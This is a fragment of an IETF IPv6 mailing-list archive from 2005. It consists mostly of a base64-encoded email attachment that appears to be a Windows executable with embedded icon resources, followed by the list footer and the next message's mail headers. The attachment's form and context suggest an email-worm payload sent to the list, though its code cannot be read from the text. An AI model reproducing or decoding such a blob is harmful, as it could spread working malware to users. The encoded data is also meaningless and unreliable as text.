r3LHIn8qs7WaqeR5igTHleVrTuuxoXhx0TdH/x3Ku6ZJFrpkWALrWu5YYr4iJpAo9Q5l91KK G8dZMgbhafc7z7c3hcmtj09koMfm9mU6Uw78xbVIR5u5YgPbKBGsO2iBsRAT62KY19QvLTyH teicwwPIjWt/weDpzrsahs+OkQwvuATAB63iUnFcsLOtNKXjQ7U1b0m4e1V41OM37doLLk7g MblxYL8zpKIZU9RxQ99sZQHZa0val3TPbOVl0CO6DduiM+s2AZyZjoGGQNcbo60SM8LOz52C Q6lPMQdp2vbeApYnH5jkMwzkT4PAe5FTNMYSGqGAKvDdRrNNTKjCt766/RqTa4CWds4sAEhd +XNRjAqMmmIZ8VLhgJvvaAlxjDddbRTYKBaBcGyu60fHiQe55y/hoAZywW/XFB9zFOLX+6no BXAgBXWgLpb9sKHiwCRMzHnAZTG+50fdKIz4q5vwWJpOWD7h7pGGSIB4AXOeSYAu5Y5CE+U4 NTQAjU2bvbp4QHKAiLCP8iWhJ9WpxRpgCQ2zWAdjUNwHpt93KwAjBqz6lkth3tCMBBkHLLf6 cb4zhbqNim53qd/cKdNvVlbwTdL5fTr3fKd0dMsr4quY68xDulu7SToKRQ87jUEAx+DTT1S9 48Q1RFjzhvFlMcBZHZCp0Mg5SO9DKMOPtoJOachsvvgX+pJAknZYR/6E7azBYVqsXeZhjxB0 yZa092jnKIIJooPoMbQ85DryLnmJw4/pPh45Cb0NB6Xz7cYaXQJsOdbjv98KgGHSHU2uYkQX eVWY0sseboewwt5dlEyhLY+9OnbNf17ZNQChM1oynw9V0JskEZ0vHM0LmLRQjXg5cHgb3HI3 xGPv1gZYIRYtYHyIIm3c2z/l2yY/PHSahlO2YTK2nW7aXosykRIKSP8tOW26GqQ/Az9sZQct IN/CRVFK12bDwGtupjjU2TShZUxPPaXYppCWVdRW8Y1R83n2Z6y/gWrKbNIR+/bOuR9ykAFO 2w0apiwF346iow8LdfgjVSVSJz0XWaImlCEnm7bqvepKGHk5wl9a4nhr3TxSBiZq8UnhHb0o U7YhILEidE9tkPeh813EDKdns1gpP//1QWgNj5tv1ABbGAjapmMmXj/o24GQCFuzm0bUrl/M eZ6Bmzk9nwj/3phRGs8YCPFgkffXwhZM0i4jOuPZS11W25cbbvUPnxA3tLqb0FpPcdtwgffV 6KrkAkeQUC6WUbBMjmi+mNiHUZDPJF0nK7MabEOqxRnEAkOoNb2giTaDDlzy4Qzz8ZGjTehm ++ajBl/m3NnkzteRNOn+VMV6Ch+q8n+ZSGrGb9kmEOnTBPtXoWYgg2ot4ClMulLQ+yoGH8i4 AVcOxAyniyP1v+/b6KoZkBacx615LzeBBhV1csMxFrx8EVvi/ZblVJJc/rCY57QKyxc1xu9t baYdLzRmSZRkMev7441/9AyaeLgzyW4b4Ia0xtpgzjIrU9lmaTBjYlwnTBBrxpXmEZfCcpYC SKGaibjJwVncQyfzJryP2xZUtYq0/MRI98ZePITeWLXJyJvtS/aAxDomYogJniaEbAsZk9py fGAH1LC6VxYW7wVr0GED+fGUAIj2/24P40vNuDK9lzjBpsEQ13r8M+q1Q8tkUmdjkvMMalXF Jsbq1xFAjRvF6V1tSqPI7dfqZ5GxDLOiyZxcCJfC0l83w/GwLSVPif2SAH+F55cQHqpqphOv FRUH1lKIk7AWdGbbbyx5fVdlRVHOzJxbOKA5addd0uDJxYA7SNi0zGtBHSclkGo01A5zey12 y7Dkm15JNBZMWPkIemBKrEIA4ivF2s8ozE1RQ4MLNZ3mA9DhJmI0jfV4lwuAq+oy4pRXXTz3 QtR6H3n7vvouDr9uTQARUaS+EW+ey+jA7YPTfjiJt+OuOsX5lVl+CynYs4mWTTPYcdB5oD6f CyyeLtIEeTYo2bdop4bH/d8M58hU8vo3fDDk2bRUfqFo9SnWzHBIt5eRZ5iNN7qV4PLmoSqV xv9Hh2V9GknxfOgOjS5vgmY7AF48ReE57T+O9rzvQ2K1hz3fEanGymh5fyX9FjYhRfGEsFn1 9OPcoqdfRMjjQfRGFlQjmgSGF8U99iv0OcVw89gMW7fRp5h2Zzi75fzv3p/4EyyoOY3qSbQG kAkt42Haf8aUOnlhpCppfWFEvSHDS/HXeF+h2vjjVYRa4eFLZD35aSgGit8f+ldNEhXSk6LF rESNUNsAyHgTuAjVPKwwV+8+G5q+/6UFHOBL2y4JABhJL+xqccabgkm4dg14XW0dFNn60Uax zpWjxRRQYR5IaF2hKyXMmHY/wFR01bCQXQ5+SBvJh/yAXVkbe+84r/CFcE0DpBwlVRHcHdMg kmt9BbHqeWJh6RB4PXcAazS9wteak5MurnKU+i8lfBiLF7PYZiahj8HvZPrXXibdQ7uYD+QC R2uPN3qG/3KkzmyzSciMdWQtL63jjJOCjKbxHq80X7M+QFXU3vM1jboZn5pTpSalWaLJjoMc Z/VoJ/Xb9XmMNeYvYlzLdr/Y3/BpJBvWz32VQ9bbP8YxixoGZOd/uS5dBQKJLCuNWXEpWwEg q4tKR/w9ZWVl3/vhW37D0aryuC7tfPT9hzUdKMYyp2GiUBIp1wyxpoeWFmxdfdJdCh9JPnfc /9Z3XGthvmn6bletU+7EuQcm9GG9QdUjfsDK92sjCm2kvL3qHa6OLBgB4YYVsLOuwVXkGxx4 b5c1h1WvNyFcq9sQOZbVh2xqkZ2w/depIwpEFIEsCsbE7bVsN8sGroHij4b8dVdYnwlKZrWe +vx0LM2Hr1O2cPshsHeQbOGqpSiKXHfX2puJDIZP4Nqn+2+WxZjP39SKG6Hhy9cKu6psP+Jd OnUqLUVXKEaCkAUD5v1BXUYCQzyzTBRdZjNuS2QiC7NhXX6dbBhhgwxO8+A7uaR67iL4qBJa g9OsgA4owvTNbZ/rUIki8b+tZK7BjEvfUfUUkauqkpkntKjXVFR8aqrV2cbyBxqEk6K8nCd0 uG9niFIRR8MVQYbjx/pTUnHXLU1B7JbNDAFypHevcT0EHZucmATqZ+yWcogAOCv9rEvd3HnW Wg8wJiPh4dg95Hs8b1iXf0XmADm5wRWVoaSWk8irQMWnXKXHN7gLC4Cbjc9TMpGN6Rw1Banj VWGcoKKcYOUJJAu0mpY3HI0e2nWpZJS9BCZJdtOGWaz6dtijN6HMukC0UarsK/JlmsoXBqiL YfC3ffhCxihIsLJdgohDQ/nqcOfbt0EMkmVK5LrD84KjdUVfdL++aaBFUYDYzyzosXytpL11 3wClAlAdUm5rqVirVGzvO4h72dpSw0MxDqMHPJIUyWynmbLuCfld5TpXHKJEhrSOUbHyIfR5 JiC1a1XrzOgNj9dvTuP0l0MPtLn7QEp00+CnxFQWQX9Xkg67Zq6Q3MehOb5Q+H3RTqJyff3k 31kI0+OKjQXWYhafTDfuHY00lz+G7cPuicmwGUMF9oNjDcYPEzH12NzA5zhErDy3ZJXKzAZj KEliWjleE00iD7aF0/unR3lmpw2ksKccLwCSHPsAAco0sE0cPgUUw+G3o4zM+TigNjdxrvoQ 8fZTzoRMQCGELspUezUhcoBvs7VCpEX0aNh1zuFkN6UlOBmpRC7ACPOENgly3U6hOpeRCjvX nVHroDAsVi6ER4nOeY7OwH80B5o+P4ZEpBuC11v/PxwtSZaxwgpSTkb/elWEbBpZmOfT5OwJ psWEcom7naYH1b1aPGIYr70ECRRjiHM/ysXEvAycjlTKp/58CmC81z0hLacCLv6WMpFCdx7s hAS6rSg1NvTtwi7PxrXqjBCXvrMP+nLwK7IuFhmIiRucgMzUDGxt6jT2z5kzZgMsmzCQmscN +MizlJRsLHCBKGfSUI8XN5dZMR/YXdlpc+By6CXRvCYxpLsYXD6kb3TIBarOersx/oYm+Xhe uhcz/0Rj6zYYUEYWEfqtC/AyxauC1Y2Hc/bNt5U0G5/5DZQAcMBvzvCWarnZJS7o7SLt9PCX NQp4Fski5VFf9Z4NnYdsXV/2WVG4msRKZS6aYiJwezC3BMjqGkKUwLWumkl0EJ5K1SNlCvp/ nQgIMOw54yVtTDFKUAMj9ntGB4iFn5HOgb/hfPM6Doq9+GKvTxB0IgHgXXqd0v0Zud03qptg Tvhuhh1ydxonij+exmhlJ+mthMfeIifRjXooVnTIJ3vpbg1gAn0HUSuWwdvwpVOsnsbSMxjf Vwn5Fxx8gH3XlfagI431d2IB3LFOxHfOBb58gzm/QFH6VTGGmYvi/02XdNhAaf0S6bu3zY3Y QMJiC4i6U78rTnHHCimFiG12LzmuNFN+VdhUVDsbHP/E6Szz2j19BFiS8NI8M0cUq/Q8xp2k Iz4lOWEOkkrawmZgKt0mKGBJl7jQ/h9fhOVUk8+jiqsrjhR8kl7HF7tsSKl4/NiStsDE/QSd 3f2Zs96Ckj3Q/webQ2jSHfuw6d+5kiHoQ7t5YJEA1sTnE1fQJ3ub4sZI0qr0Il6wIRaBtNHh +Dw5XVVc/yA/z97GYMnecBZGKUqdxNZVzfFqLiZG9BtD8Bac/u2mCvTUrSSnnTXD04lXbglb /JNbUEoC+Da6cfbgpFMlGRAC44IX6rtKbGyQ9aio1EX18KmOon8R5RqIoeJmEo57wXu1i+JQ YmlDqWNiW8A7xEiGJDuZzu7PWwbZhs3cPjjJLGrNPluObKgerKqyp238Snm0lzBoE5c3TOZR NITFXk/MHD20u000jr0FI7PHhJoKmrKiUBjHUfOa/o1SY6Fk7Gz+1hoEfPxMhh58rIrA8dd1 PQ4Ebenef+wmzaW0WZlCGePEdKCsJ2j+5megp9McNqHgXveRye/qn68gd9yvYk7hK9cVcp1U NWq9Q1+1qNmbFdgvzBz2wIvYBNR8s5pVupwJvb/lKb1XCjkNUh+A2BEDWlTkGdcO/JjkrE7q dK7+j7xdBqTGdxA1tN9Mg8L9oew+awjWMFbe03Xj9awaCWnc5dNrk206zFavFrlG5w0T8SxW rWk8vwTFNRasDtLKO5pKkY8a0q9PBMDFNsfZCvjXJ+w0+YLNB+TwWrKhfapbQ9LBokidCXl7 ioBHJABd0pG39IjiAaSsta9l2X4M8BGczEi7sHHThHb1YWqd7sAENTetrFO9bcf4HnQtoOZa lwbRIbsIR1MRS7lemyZeETTdtt0J7u0DMCBNDMm17Rfm/LlEBhbyDxEPSdrJyaD2m3PXAx5g 2vf1EWfAB5xyeBo7iVybOZnRjS8eeaW9/pl9vvuus38+PXcJvRwYgkV0ieMtuM+p9VFHsuci halBLY8jLytj9Fn4TedvvGpyxMmUz3OYzx1hk3OMge9HWB0989jByKY5/nQCG8hRwcqDxe2E zy5y6lvJKbWEMyNynlyuJIvNhlPBl7U+wlKud7DFY9IFzsVvNmJ3/9ZLSyA3kTe7a8rOzfZj i85948F8+L09/tZAJbbQkyP5U952Pkf4u4gsUljuX/k/5zYJ3dI2ZDFL/0Oak/Mdo8WFqWps Gyh0St3HpuV+VR1VwxPXyDwOcY9sB4UNvZHkMyyCO66FXrN7K8hhFac1CKa3DX+HfiuaUmQ/ OIGUiGf6x9/9Iq9kkqoIcA1qzvrfu5i58E502Y9DUPO4hAE/Pg8uDypZlC26SzRvSgEe+ZJg 4OYMSd2PX0aZScmGP4snBkrHz4ujlUL26kaTokWCcxLKmOsJV+Hd6uKdxp5X5SEjchgVqw3p kpW2FldqmWfDT1MHavlthg73HsTA1EXsEXMtCfDtNKJCX59LJU5wvomuJSwJiZWxBmbNBuOm ET48kWhsdw6I8Y4SXwqnPoO+pHrgukmyjsFtC41MT5MzwuJL1ZIISLBoDKC2FLfbGdOUWX6B 7wNpSIdDelLAtbhOwR+0IoS5gJHcrVKSRFMONoo2Ik1vjrQus/bmxLmT4/Ytl3XL3dhjnKMq foDlFXi0PyDJk7aZRp0VO0BHWseQo0jUhM6ODBZAsMfjYkImZOcqfHVuxlHYkXQtWuOU7CE+ SXJlCHoMMsAdOdDYUP/iBd+I6MO/h31uFKQJjLzy/u/eHveYFUj/ZNRc/ReeCoaYgmiZaWLY 5/qQySqm8aOHFMf/9G9fu8bt5CpHduIvMQX0X37JUxgYL2/bFulc5mNtPYSyhdNlJ2FrMQx7 yC4m+UVFO/bXbksQkHSNOYU/Y36GGlKN7pq1BGkDJYuEbFP1t7mcmB2Xeis2CM++wyWoocls LgkxrmgTQlci5YGH0+wvd1I0YXYGMHkOlNx9BNUroHwR5GFX+rSVNEVZ7ZJ0XkK6B6hSPmpW Z/t1XqszSx4wrCxLUtJDLuOUae8Kt+ja3RobIGHGc4kYQJA6DH4FMFvYqWZ772hA7BYH0i6v 2mo1/7BomI0muUJmIVaP+8nppvEWZzVU5dBOUt5tDqgD10Gi8Xo31aCJKBg94QiwbFiKnqpQ fttEDdL93bcL3pMjRkR6XFo3c+TIiDJdFYOJsgS4bgp1GDnbYI9GdXcSysUhTTG3R3JmpckL Kt+GaAAeIJFEKfYuybdAaKbEgM5TWp9BQMxX6HXHWO4x8NgjAjfTX2fqSQSmI5X5E/mM2Sz1 8E1PlHxZPWMe3KvcWYQtFAyEM20ybYyEmmikEyEaQpyweBqmlfO3SUkR1i7FFnD+CeQHUx8r SbKVyGMArPL3Wii+ATEUKAh2NZG0o9CcCXfqMlDOEBs4/3Fg/SlltjzIvlN1KTf3G/kLpgX0 fKhON7HyPL9gAYMCyg/ZdCw1pjYIcB3Cqw39NBIYznWOuJBBgUnZvuV2J4yleZBSq+Yy6Qap fFd5LFym7WrhJEWE3sWvfgezXlzzKL+GSOzxwIt4mg5YcQfgo3lV7rD4EGI2UZxMKcSZWTBr Kfj8MBBIE1de38exrQwhuJpkfRlF5LAr2EUGTOEFnbl6sAv3Hf21Vwr+R7isjcknJD0l8b3i RB4oxpENqeyRdHrlxZSMxPlBTRA22NM2LO+NJmE7Filwg+StPb87MHV+QIn/An9FMcc73Lwe JbZQqzAb8w2YPYHIZHV6ON1OgR7y4arO02IFBOCnPFD7Gk6qt/d/eDB0JyvO8L1/J7bN+5lX njKnW5rBfrkQWCKVWsy1G1CQxPHwgFpi/O04vgrSDFh/+8tvr9BlYNJNNSKLJz2kS3rbmp8o FXW2zNSr0u075ULgLKW6+m+J1M6psd1hcE215kK8n8oNh4XrCWb7zbQGK0lSWmOd+aZ3hog3 hkAq/iU5dK3HVxvigfWvlFIBEFV/cxBDUOwy21O8Tpmh8gXevqqfWGow/uFgdeprCaxXwJe1 RDZVpCohRPq+TLFquRkHohP8ApuscFauLvAJvIAxWqH+jpeUkQiMNast5Zz4isRsf31wWiU0 eazf736xFXmlbPsZa6j9rmWW0/Hwc5TcV/n7AhogcctEOc3Jatn77trI2xISJwRFHDGg6JMx hKzeModLcUFyloq+JHn2bTcjEE+UO2rV4WHIhngL0VihrJnvbp3rpHiss8+2OvCdPxTcMyYX Xe4lEIa3RMjzqsmfRFfsJpj26ISsBcRNTy6uMxHICfousL1j+kdpSvyVb0AzLHmWp5QVsStG tRMgZTut09m+nsvnwNJE7HonRQ0aLj/3AqwCZuAj9SxpGNUjzeyzI9vaD3JRqrNKcpzxLU1S 3wn3dqWBUdHHZJxRV1LX71akrA4VWS0pgqgoXzScfCHIAjXJzEOyifhhkE6e0q3+vd5FY7mj VD+VrLRvnjY5wgygLUdxieABmGnYwVZzvy3MCbWApEFJa4Yyhtga9avzM6B8iz1TZC6DUIF2 LsS/i/jULMfrYXKiQo+Yf4PmP6YVPWAKTW1UjjS0DibmAftkagyXRAdP0/h6HG2f/SXyzXfr YV/vUd9zojgl+4T2wPzxpQcjjVqNNvrMIyB5+G3M0/P0BHi8Cr1zCzI9rmqibupuftUjx9J9 xSJRu96iqXEXBA3Q2msDQsaHDayDZA02ukitPut0J3KzymwHloym7n8ir/unkd9tEU9wPgEa 8LT3hG+V1FzatkntyUcmaxrhelCpvd6l4kXZtzXoIf7aOtMUln2VYqThL88nk0zUUt3o3RV1 0/h06UACry59vI+HqKJ3qDLIUn3jk4OJgc2Xl/CsjGbJ3850dlL7W67hMFzpyRZ4YQAt09Mz DeHGeTweC9gpoJusn4e1ZH/YD65O5RjSaZQaiJjv3EOIuGztMydRarZp7qmi7TKrTbYv9DOQ xSkd8d7/oVSOo1GecJdNyAoTGdPpm30KWro4HCW2mPTmfodTV2yYOQtYGb2hNCsUsdaGEcpy ik0IBXpCAN0pavm9mdIo2e9Pk9CQnDJOviJw7+SWcDY9qBvUgDJwPy76otqE22jik1S/LDjM rIMWyUZDfCEOZnJxUaPI4I3tO4dwMnBH8RPMWxk71Tw0rBT4B6XrXoW7w0EIkPHoPJvZDUom 2E7w0KjDQodicEphiy2VM34Yg+TuA2VewPhQ0B7TEnyel5XGlE4+rhYHkZVYif+H9IrK+l4F Nb9L5IdI0N6pP6U2BHFIfMJalUzVfWIb/0ZmePHOm7q4hj5qly3s/Xz7mTB8Pcx25KVQsPsY 11oYXNd3/R5zqFy36Nkwhkz642SKTW7k7LXAeQSXrdXLl1DUOn4GXpxY8R1rMyQpM56/fVTR h/BaHn+pwp9RjKYiryzRSfmJPDMK3sWVe+vs22bYHSg/HMFLYEatfs9wS8en//vQjLJ3KxzQ Mt39RLYSv+ERKx+wVpgCkyk9OjeqRqB0EUt5+j8LInsQ4f7ccjNthumsKP1guylSHDkuC2qJ x2K73x9NBMrJL/VzcdCMpjLplfDuxIiFyzjEXKZ3Nk3KLAuVsa46+LV/bffl2CKnlOeG+9lQ WddTS6LPmIthbXbPB/dxACOUPsvSk2kZs1vQ5McArdZAHra5qtLOnFBpBOiFwKdcSh37OFWI RX2ffM2ERCGyttQiYwVPXrFr4aIimvZ2UEZgHqTTpk4bXAChsvLhznssmQ20nySS214KJ500 5UfK2V1WW6WOzlKC9w8s16dPdStJOpqbDvIznpdJvTVOFDIz+xWadTxHXcHrurLCcNuGN+Sn Byl/z/2uI4q3CVmwihJusnYy9kLtNda2dZkUjw3P1oU9/LPjZ1MeoiVDKjVCHGQ3EP6nrKsB K9bhVRoI/Z3UzD55LRV78i24BZdzdqmNHcEqsu3eoVNBy1qelm8bQioUdaP1tugQSBM/y5Z1 l+cD1cArcl0O/L4z4CHmMTUZpP3TV+QSpHqVukfAJQgkZ8p/jJSS3V1dzVw53ZfcmCP1IaLh 26RsQT/n+R8rFT48g8hqvuEohomkIWdQlrU0dXA6FKTj/FuTIuHzybJ+kFhPJP136Y5OZ5Rm aRu7htlVYpVWyunJ6J0X5RKRjJRcUtx3I0fb7VvJ5IHmtUdLfXhYpgE1sqJYsuzNe0WKEDYL A/t9MOndR3QMLHkF/BSKatRZTldRhAYKCVHuF01wyLeR2zUOKU6BaMpu12285VVL2R+z0TJm ogrCUXfs7BJJfRh6cn6nPXjQWgNqIZVWjRwH9v9qlypyA0r29lMecFPPe57H23YSDUm7sHJL ygR8T8Iy2lsEPgBFZyMdIRx6LlfcM+hoQjai9hf1MdPskDUsfZmhQWXqg0AHIkheN8WbEnBl usRpmEFVcK8ktEHsgJLNlBylwwfY/QFf/OcSsadbssOpUhBS4ZthafdGA4B81VhkUwfPazbS ItCmEl3V1/quSpoDHZz54vlZmXSoPmc/Ag1pSCelgCXI7IT3YK57J/og4wMIHK8C76QDkJPq ZINK56vUvLSDndNxqe7r/TtZ4LbNlD2k6Xre5E6FhMn9vaKqCu+vAXrZjxP7Oww0luJP9ogz 9+xr4lIMR3mdiNqDTQHXXp3Eo3rCGk4jwmaIaq6sZEzzBNGgwY3/TkxFkoBQvUIpHhaLkdUr ZPa0cCWiJPbniLnVcdRIWv5rOJu2qela0MBtNdF+CTO6oJmDQHvXX2nLn4n5rYIXOIobIS6d 4HtD2rOVnZFdw8ipiS3deBxKH0yaO9q78gKfpKXilH+g3vJbquLCWK9Xb/o3YRnfKhqxQBma 4ufN2KuG4e3CGV9lG5tFwEydf2zV4/8822CsygbImCMYSpU1dZ0B+snwda4WaVLMRkaFC+AH E1Wfv0sloJmZXwGwwwUzeTe3FFn1Ha1G/kAk6keNfCk2YNKWdi1lnIUHHdmGqDHcM4f4lVFx wZqKXc0s0NmhrNp+a/TF7B/m8p5iJCu+DA6cYP+q5wOwAlRYnS3PQZeFKYkbPazYMyL2ZB2n giTALlXrksBQ03ce/qb4ocyDmuYzbAklpDeMgY2XJ9K41LtCrGZjiRyIP44mfIxmPQyuFG+K wXTqHjJHps4ojjrPIuH1ZEFPSTKP6b5nc9UHfq0CAPK+JL1Pq/a3/aS/HqH9VgTUXjzE5/+C 67ZRaqyLqjFg6gBNaTPxGGrzKz7rD7EgmHLmD+y/fjzVSq4LK9QthUOpo9WbZOIUBgVn08jl QH8pd9mCRctWqv4Q8nBg/e+w4GJlq5G3pD/edOCObh5a6hFlmBA+9dGI7dlCKEXSUym8o55j aagwn3PDJwS86lG5C8d2dXfS0GLlp6dOWqYHvjSMWezLfb/wNlh4gexfohKhBtA5qUg5yryG OTNjUkRJJAdaEopH7c6kSoIs1marTu+GSficNlzm9/UUv7yI79Z94Khrc6KpTcCNvfDTz73c +CGEsIO0dY9uxK+pI729SzxH0f0gcnt3Fak8fjz+/6kIy3LyZNVO9us46SyDQZEQOe93R1LP bKu9ydQxNk19j9SMpI9JstBb8JgGuvlbr0aHqrf/ZRuhhkj1c0DxrT9WYaDkjHQXMNW5bT60 4qi5YH1saKcA50LWhFxtcTSGRaqfTMw9JTCRRuHYucoMVYcVhv45cUpFr+cXyI/iPuHSKI1b bbYzSPug3qgHmNpdPZk34oekcAvzSdFo7qu8u1+184bZIu7Qqak8AUE1fuC3qTQ1BEMQVdyQ xVPUL3g63qfLAlblqaAqBz9tGzhPu+384E8sqlvpl7d5Ij+qbIJnz5PPZFV060PjIPO+nMjl KJ12xQNew0TQjWsQYO1TaRLP57mUwvllT2hvHsPwC2jWN7aTkIlU81rD5whlsaeufjOqweXE vmwE03KKxEc543e3uXzWo9I11sK7OV9OIRXLj8KRj5aGqZAtfwyBuSuU4BoUPLar3+ZPAmYx y3FXYBHLxTSSJEAQR0+AnHfn/FKXMroyjLaiddrlj5xiXI84Lr0RmWYBhK3r5wNHLo2A9obZ pP7sQ1Zajq7nVPtxl925diRHMlLZtEmcLtZ7srkV80o7v/x9lNq8toxhGovJ7ZYyryrj0wIo OiEIRQSAEIUHqN47p3alLurpjIs2GJK8K+VHul8g0ZDJS/rHts9HhihzwEn5Ff4HrU0wZLrH fIGl9LXZeglRkc3crC/GaMl1IHf+7Lq4BKiysLuMVE6EhnpgDnDIyfY03SseSzzWNRgvVtzq bSaIiREakKhgAZqevzLeVif1/UYyRfesgbpP1DKRk6f3o6Orw8O40TqwXnhA/xrtcO8qQEm4 5INWetVfqGAAbUfRWrx303vfuag1ttJKzy57dJdjHYI4G0meXIzuMOGXohFPfjDphe3Fg8gY GdSVSM4i7qkZg37M2jMfJCARBPYAVo7YnPwUdzWwkFgKJImm8YJJr6CotqS7i/U+xk+36zEZ bzDqihMcGA8GDxd2yGgtgwpngbIE/eXh54mlB1itvKj1+StYvHOMldYqO7znmENadiaMXc6x nMx4F38zM8WLbgMXg5MDHe9k2GSuAlqtTkkaJ2rlVsgc0w+7IUVIerA58bF+1DZXPCNIFm4c G6POG0kB6KiIx0l8jJ48vQJwt5l/4H+/Bt1Kunklz4P9iR7dPDB5SC3nFXWzRGyiE0crzPJ1 iApWw/qImlZF6uB1WtzjUfgXrkBTxt75VYEIH3mzlpHLD7z+0hbxiu/C1SUxP2UcGO7ENzIB al5sbIvTK2nhHS6JOuyti28QQFJkr37ovmMtTPp3C9eeAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAAAGAAAIAAAAAA AAAAAAAAAAAAAAEAAQAAADgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAFAAAACg8AAA6AIAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAABAAEAAAB4AACAAAAAAAAAAAAAAAAAAAABAAAAAACQAAAA iPMAABQAAAAAAAAAAAAAACgAAAAgAAAAQAAAAAEABAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAC/AAC/AAAAv78AvwAAAL8AvwC/vwAAwMDAAICAgAAAAP8AAP8AAAD//wD/AAAA /wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAACIiIiIiIiIiIiIiIiIiIAIiIiIiIiIiIiI iIiIiIiIBERERERPAI9ERERERERIiERERERETwCPRERERERERIhERERERE8Aj0RERERERESI RERERET/8Aj//0REREREiERERERP//AI///0RERERIhERERE////AI///0RERESIRERET/// /wCP///0REREiERERP////8Aj////0RERIhERETwCPAI8AAAj/9ERESIRERP8AjwCPAAAAj/ 9EREiERET/AI8Aj/AI8Aj/RERIhERE//AI8AjwCPAI/0RESIRERP/wCPAI8AjwCP9EREiERE T//wCPAI8AjwCPRERIhERE//8AjwCPAI8Aj0RESIRERP//AI8Aj/AIAI9EREiERET///AAAI /wAACPRERIhERET//wAAj/8AAI9ERESIRERE///wCP//////REREiERERE//8Aj/////9ERE RIhERERE//AI/////0RERESIRERERE//AI////REREREiERERERE/wCP//9ERERERIhERERE RETwCPRERERERESARERERERE8Aj0REREREREAARERERERPAI9EREREREQAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////wAAAAYAAAACAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAADgAAAB/////////// /////wAAAQABACAgEAABAAQA6AIAAAEAeLkhTbCEUQyZkleifRMvL4JbvgoKnptVVGnEDKBO QCRNKz6yrDoaZLMBDKgpr6F8MzAOTGYaKHaVIau3u2a1kIIjGEfCJDqaU16nYkNmFQShwK0n vbiHEiRpJ1S8BXl9mWyEBJ0UEZUPmTxLU6iWSj5nL6pZWxM4qx4YCF8MXgmvrx6mUE15l7Sq gjupn5Nta4AqTXl+MsAkuUxUJ6i+ErB0u1ZUwadzIgSNNQxMWkwDscFtbrOhTaMJTFeegrCj Wq9nI8NCgVlXsbtiY4aIhA2Co561OkQ4igoeHMGtYi8Eo2oWjXGgC2VQWlB6pXgYlB0rNaVX PZ8BoEuhVbtPQJ84lgCYQb5sXKYAeLASmlywU5mowmgLbyxfS7W1THjEk8QTPKSof2SCnsK5 npsePxFDKAxoQaR+DXkVFx6iZxFzWnwiDbk8xIgpTk6oNw86kHhQKSInlGxrBSE9uLW4XqML aWApwTRfV0K7Lm8MObq2lUwuGwymNrK2oXDHVQC1kMUen1u7k70LmLewXom2lXAZO6IbVQAw g5qzISErQRg+NMJObUymn7xROMEbm1wmQrhbQFNMC0R8VMF4MSaroU6TejCTVG2xm2d9QxcI qYiAHjunknaJtagGI3ELRb52ZxGmBJyYmWpjgyUExjRIcoqCUBtIOl6RfxBCvVaWRQ8Do2kX wok2YjyRpTdJO4slWBNhjBE9sgh4Ta6oLnEjnsMzlXkTCZLGhr8ObKkTu516xFOQLAY9bXUR sW1CAsExNHKGOV45i4tCtA5eDIdseYt+JhF0WMJPjoMUcXlQf7Bilnx/uVJ+lDpZfbeEGkuj vijATGMSByVHsrB6whhgFAp6DKygBayMpKEhvDx/imxOhgG1pRdqwiO3L3RDfik0FKB3qcA7 fnhZZ5qfg1kar6GqloS7LUw1ESWhd39gs4dvnsIomsILu8FaH75UspColkyYRY2NUgY2YbDA pTkFeBWxDy0aTB5/WqCJDTxNsldtkpVJa1RBhiK5TymslF4zJyq5uFhVoxItE0cEA1JaeDYk bKZEpZANZLy2CJF+X6EJkowBfXapH7Ekoa8+a3gtm64dbW26EmkwPIBPU6GMS4AujLEZvbkX OzE/t7pQvCCHlIkFFUWipn8VWE+9KCUHkUBLiLEYfpJ1oKB8g5JbKkdyVWJeMR4qJpqeS0Om R6SiWT4pTERVJxuGpoQ0QmgZv8GbrHxNNkOJCqatf5sHjCWwMMV3T4Yjewd5u24OtHtOSjmY ChUuRiAFQni1KVh7sJAHMAWFepu9TMJpRbaXQ0MHgWeZQMGmuBSNaCpKIFuQs4y1iRRMbz5p UJBesX61MAyJHzpnPqRrAwGagXYoCzYfTnkXLwJrIn4FBJsWXLM9SExShZnFo6qmuYw/Nr0r sBJQiEYiVCUxIHkYGJp1o2aJqI9Yj3qYwbuhqkWxIIaCFR8hwXdTVWi6b7hPHI8ceHo/K4l3 iQkxDHrErccCGlxZL58FnIx+MQ62aWBwwD0ObCmWxih6a0IwwgkGMAwxvCNFBRpxrX68CUgw O1ymiCeMCK1cuYVpF6wZJwJCMnxkJkbGT0pOjk6BL3OZRCl4AyBioYyQB5uafcahxAu3oz4s ----------evwbyfouhblkhydcgszu Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Disposition: inline Content-Transfer-Encoding: 7bit -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- ----------evwbyfouhblkhydcgszu-- From ipv6-bounces@ietf.org Sun Feb 20 06:18:40 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA23603 for ; Sun, 20 Feb 2005 06:18:40 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2pSt-0002FO-0a for ipv6-web-archive@ietf.org; Sun, 20 Feb 2005 06:41:31 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2nFg-0007vz-8n; Sun, 20 Feb 2005 04:19:44 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2lzK-0000Jy-UH for ipv6@megatron.ietf.org; Sun, 20 Feb 2005 02:58:47 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA10072 for ; Sun, 20 